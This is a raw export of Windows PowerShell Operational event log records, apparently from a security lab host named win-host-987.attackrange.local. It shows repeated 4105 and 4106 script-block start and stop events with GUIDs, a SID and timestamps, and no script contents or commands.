OpCode=On create calls
RecordNumber=2033364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033360
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033359
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033357
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033356
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033355
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033354
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033353
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033331
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033330
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033329
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033328
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033317
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033316
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033315
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033314
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033312
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033311
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
